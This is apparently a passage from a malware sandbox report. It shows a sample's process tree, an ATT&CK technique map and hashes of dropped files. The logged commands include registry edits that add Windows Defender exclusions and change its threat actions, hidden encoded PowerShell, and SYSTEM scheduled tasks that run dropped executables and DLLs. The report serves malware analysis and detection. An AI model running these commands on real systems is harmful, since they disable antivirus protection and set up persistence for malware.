                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\linOwUtCTeUn" /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:3708
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vECSWYHhNEBU2" /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:3408
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vECSWYHhNEBU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:4452
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NUEAEvpmbtRdsZVB /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:4344
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NUEAEvpmbtRdsZVB /t REG_DWORD /d 0 /reg:64
                                                                                                                    3⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:4912
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:4632
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:5076
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:5044
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:2960
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:2172
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB /t REG_DWORD /d 0 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:5052
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\VLvKqTazivYGshTO /t REG_DWORD /d 0 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:2548
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\VLvKqTazivYGshTO /t REG_DWORD /d 0 /reg:64
                                                                                                                                3⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:5004
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "gfuAuTaEG" /SC once /ST 07:45:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                              2⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:3884
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /run /I /tn "gfuAuTaEG"
                                                                                                                              2⤵
                                                                                                                                PID:2936
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "gfuAuTaEG"
                                                                                                                                2⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:1904
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /CREATE /TN "cszbzSIAjSjUwyOsr" /SC once /ST 07:46:17 /RU "SYSTEM" /TR "\"C:\Windows\Temp\VLvKqTazivYGshTO\WQsDeeZxhgbfQln\BOCnbuE.exe\" bH /AzDCdidPB 385121 /S" /V1 /F
                                                                                                                                2⤵
                                                                                                                                • Drops file in Windows directory
                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                PID:5092
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /run /I /tn "cszbzSIAjSjUwyOsr"
                                                                                                                                2⤵
                                                                                                                                  PID:3660
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3400 -s 1360
                                                                                                                                  2⤵
                                                                                                                                  • Program crash
                                                                                                                                  PID:4624
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                                                1⤵
                                                                                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                • Checks BIOS information in registry
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Identifies Wine through registry keys
                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                PID:3024
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                1⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:1444
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\/service123.exe
                                                                                                                                1⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Loads dropped DLL
                                                                                                                                PID:4632
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                1⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                PID:4992
                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                  2⤵
                                                                                                                                    PID:3520
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                  1⤵
                                                                                                                                    PID:3264
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                    1⤵
                                                                                                                                      PID:3716
                                                                                                                                    • C:\Windows\system32\gpscript.exe
                                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                                      1⤵
                                                                                                                                        PID:4492
                                                                                                                                      • C:\Windows\Temp\VLvKqTazivYGshTO\WQsDeeZxhgbfQln\BOCnbuE.exe
                                                                                                                                        C:\Windows\Temp\VLvKqTazivYGshTO\WQsDeeZxhgbfQln\BOCnbuE.exe bH /AzDCdidPB 385121 /S
                                                                                                                                        1⤵
                                                                                                                                        • Checks computer location settings
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Drops Chrome extension
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        PID:1516
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                          2⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:3172
                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                            3⤵
                                                                                                                                            • Indirect Command Execution
                                                                                                                                            PID:2228
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                              4⤵
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:1176
                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                5⤵
                                                                                                                                                  PID:4084
                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                              3⤵
                                                                                                                                              • Indirect Command Execution
                                                                                                                                              PID:5004
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                4⤵
                                                                                                                                                  PID:4756
                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                    5⤵
                                                                                                                                                      PID:1620
                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                  3⤵
                                                                                                                                                  • Indirect Command Execution
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:2276
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                    4⤵
                                                                                                                                                      PID:3904
                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                        5⤵
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        PID:2792
                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                    3⤵
                                                                                                                                                    • Indirect Command Execution
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    PID:1840
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                      4⤵
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:1880
                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                        5⤵
                                                                                                                                                          PID:1612
                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                      3⤵
                                                                                                                                                      • Indirect Command Execution
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:2936
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                        4⤵
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        PID:2160
                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                          5⤵
                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                          PID:5060
                                                                                                                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                            6⤵
                                                                                                                                                              PID:4872
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "bmbXFarNlpbNUcjZUs"
                                                                                                                                                      2⤵
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:4920
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                      2⤵
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:3396
                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                        3⤵
                                                                                                                                                        • Indirect Command Execution
                                                                                                                                                        PID:1704
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                          4⤵
                                                                                                                                                            PID:3520
                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                              5⤵
                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                              PID:2500
                                                                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                6⤵
                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                PID:2424
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\kVyftiaSU\aMygLr.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "HlGMqKYvccXUYlk" /V1 /F
                                                                                                                                                        2⤵
                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                        PID:3844
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /CREATE /TN "HlGMqKYvccXUYlk2" /F /xml "C:\Program Files (x86)\kVyftiaSU\GYezqJP.xml" /RU "SYSTEM"
                                                                                                                                                        2⤵
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                        PID:3172
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /END /TN "HlGMqKYvccXUYlk"
                                                                                                                                                        2⤵
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        PID:612
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /DELETE /F /TN "HlGMqKYvccXUYlk"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1136
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "jcvlsaWlukqsKE" /F /xml "C:\Program Files (x86)\vECSWYHhNEBU2\hLLWvRE.xml" /RU "SYSTEM"
                                                                                                                                                          2⤵
                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                          PID:3416
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "DNmCZKMScDllc2" /F /xml "C:\ProgramData\NUEAEvpmbtRdsZVB\GWJddii.xml" /RU "SYSTEM"
                                                                                                                                                          2⤵
                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                          PID:100
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "SebvePPLQQlbTkynf2" /F /xml "C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR\AMpDXfp.xml" /RU "SYSTEM"
                                                                                                                                                          2⤵
                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                          PID:4864
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "BvByqijJTTwWPkViWve2" /F /xml "C:\Program Files (x86)\EKfHLQOzikZzC\PxMaSIb.xml" /RU "SYSTEM"
                                                                                                                                                          2⤵
                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                          PID:2864
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "hjqxuCHRKqyyPIyfi" /SC once /ST 03:34:53 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\VLvKqTazivYGshTO\akOwukoC\qhTDWlA.dll\",#1 /rdidC 385121" /V1 /F
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                          PID:4316
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /run /I /tn "hjqxuCHRKqyyPIyfi"
                                                                                                                                                          2⤵
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          PID:4452
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /DELETE /F /TN "cszbzSIAjSjUwyOsr"
                                                                                                                                                          2⤵
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          PID:2644
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 2344
                                                                                                                                                          2⤵
                                                                                                                                                          • Program crash
                                                                                                                                                          PID:4960
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3400 -ip 3400
                                                                                                                                                        1⤵
                                                                                                                                                          PID:4452
                                                                                                                                                        • C:\Windows\system32\rundll32.EXE
                                                                                                                                                          C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\VLvKqTazivYGshTO\akOwukoC\qhTDWlA.dll",#1 /rdidC 385121
                                                                                                                                                          1⤵
                                                                                                                                                            PID:2288
                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                              C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\VLvKqTazivYGshTO\akOwukoC\qhTDWlA.dll",#1 /rdidC 385121
                                                                                                                                                              2⤵
                                                                                                                                                              • Blocklisted process makes network request
                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                              PID:4428
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /DELETE /F /TN "hjqxuCHRKqyyPIyfi"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2556
                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4296 -ip 4296
                                                                                                                                                              1⤵
                                                                                                                                                                PID:2564
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1516 -ip 1516
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:1712

                                                                                                                                                                Network

                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                Reconnaissance

                                                                                                                                                                Resource Development

                                                                                                                                                                Initial Access

                                                                                                                                                                Execution

                                                                                                                                                                Command and Scripting Interpreter

                                                                                                                                                                1
                                                                                                                                                                T1059

                                                                                                                                                                PowerShell

                                                                                                                                                                1
                                                                                                                                                                T1059.001

                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                1
                                                                                                                                                                T1053

                                                                                                                                                                Scheduled Task

                                                                                                                                                                1
                                                                                                                                                                T1053.005

                                                                                                                                                                System Services

                                                                                                                                                                2
                                                                                                                                                                T1569

                                                                                                                                                                Service Execution

                                                                                                                                                                2
                                                                                                                                                                T1569.002

                                                                                                                                                                Persistence

                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                1
                                                                                                                                                                T1547

                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                1
                                                                                                                                                                T1547.001

                                                                                                                                                                Create or Modify System Process

                                                                                                                                                                2
                                                                                                                                                                T1543

                                                                                                                                                                Windows Service

                                                                                                                                                                2
                                                                                                                                                                T1543.003

                                                                                                                                                                Power Settings

                                                                                                                                                                1
                                                                                                                                                                T1653

                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                1
                                                                                                                                                                T1053

                                                                                                                                                                Scheduled Task

                                                                                                                                                                1
                                                                                                                                                                T1053.005

                                                                                                                                                                Privilege Escalation

                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                1
                                                                                                                                                                T1547

                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                1
                                                                                                                                                                T1547.001

                                                                                                                                                                Create or Modify System Process

                                                                                                                                                                2
                                                                                                                                                                T1543

                                                                                                                                                                Windows Service

                                                                                                                                                                2
                                                                                                                                                                T1543.003

                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                1
                                                                                                                                                                T1053

                                                                                                                                                                Scheduled Task

                                                                                                                                                                1
                                                                                                                                                                T1053.005

                                                                                                                                                                Defense Evasion

                                                                                                                                                                Impair Defenses

                                                                                                                                                                1
                                                                                                                                                                T1562

                                                                                                                                                                Indirect Command Execution

                                                                                                                                                                1
                                                                                                                                                                T1202

                                                                                                                                                                Modify Registry

                                                                                                                                                                2
                                                                                                                                                                T1112

                                                                                                                                                                Subvert Trust Controls

                                                                                                                                                                1
                                                                                                                                                                T1553

                                                                                                                                                                Install Root Certificate

                                                                                                                                                                1
                                                                                                                                                                T1553.004

                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                2
                                                                                                                                                                T1497

                                                                                                                                                                Credential Access

                                                                                                                                                                Credentials from Password Stores

                                                                                                                                                                1
                                                                                                                                                                T1555

                                                                                                                                                                Credentials from Web Browsers

                                                                                                                                                                1
                                                                                                                                                                T1555.003

                                                                                                                                                                Unsecured Credentials

                                                                                                                                                                4
                                                                                                                                                                T1552

                                                                                                                                                                Credentials In Files

                                                                                                                                                                4
                                                                                                                                                                T1552.001

                                                                                                                                                                Discovery

                                                                                                                                                                Process Discovery

                                                                                                                                                                1
                                                                                                                                                                T1057

                                                                                                                                                                Query Registry

                                                                                                                                                                7
                                                                                                                                                                T1012

                                                                                                                                                                System Information Discovery

                                                                                                                                                                5
                                                                                                                                                                T1082

                                                                                                                                                                System Location Discovery

                                                                                                                                                                1
                                                                                                                                                                T1614

                                                                                                                                                                System Language Discovery

                                                                                                                                                                1
                                                                                                                                                                T1614.001

                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                2
                                                                                                                                                                T1497

                                                                                                                                                                Lateral Movement

                                                                                                                                                                Collection

                                                                                                                                                                Data from Local System

                                                                                                                                                                3
                                                                                                                                                                T1005

                                                                                                                                                                Command and Control

                                                                                                                                                                Web Service

                                                                                                                                                                1
                                                                                                                                                                T1102

                                                                                                                                                                Exfiltration

                                                                                                                                                                Impact

                                                                                                                                                                Service Stop

                                                                                                                                                                1
                                                                                                                                                                T1489

                                                                                                                                                                Replay Monitor

                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                Downloads

                                                                                                                                                                • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                  Filesize

                                                                                                                                                                  2.1MB

                                                                                                                                                                  MD5

                                                                                                                                                                  cc4eb5b5bec04325d4a9b29b3bf4a767

                                                                                                                                                                  SHA1

                                                                                                                                                                  87d478fb72da81f39624c224838f867e8db9c27c

                                                                                                                                                                  SHA256

                                                                                                                                                                  a70a7e5c7326e10e437387e1e4795f5dff1ed7205a5ee1737bfdd7e46b49f62a

                                                                                                                                                                  SHA512

                                                                                                                                                                  d90f8b258bd671dd7ce29d9046c078f6817d2bc1a7c45c1c0dd1e066c9cdcecbb0e1c3dd1e9792b0a671b4c480ce57e9d71d83a5a248231366a0a1b02b5209c0

                                                                                                                                                                  Download Submit

                                                                                                                                                                • C:\ProgramData\mozglue.dll
                                                                                                                                                                  Filesize

                                                                                                                                                                  593KB

                                                                                                                                                                  MD5

                                                                                                                                                                  c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                                                                  SHA1

                                                                                                                                                                  95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                                                                  SHA256

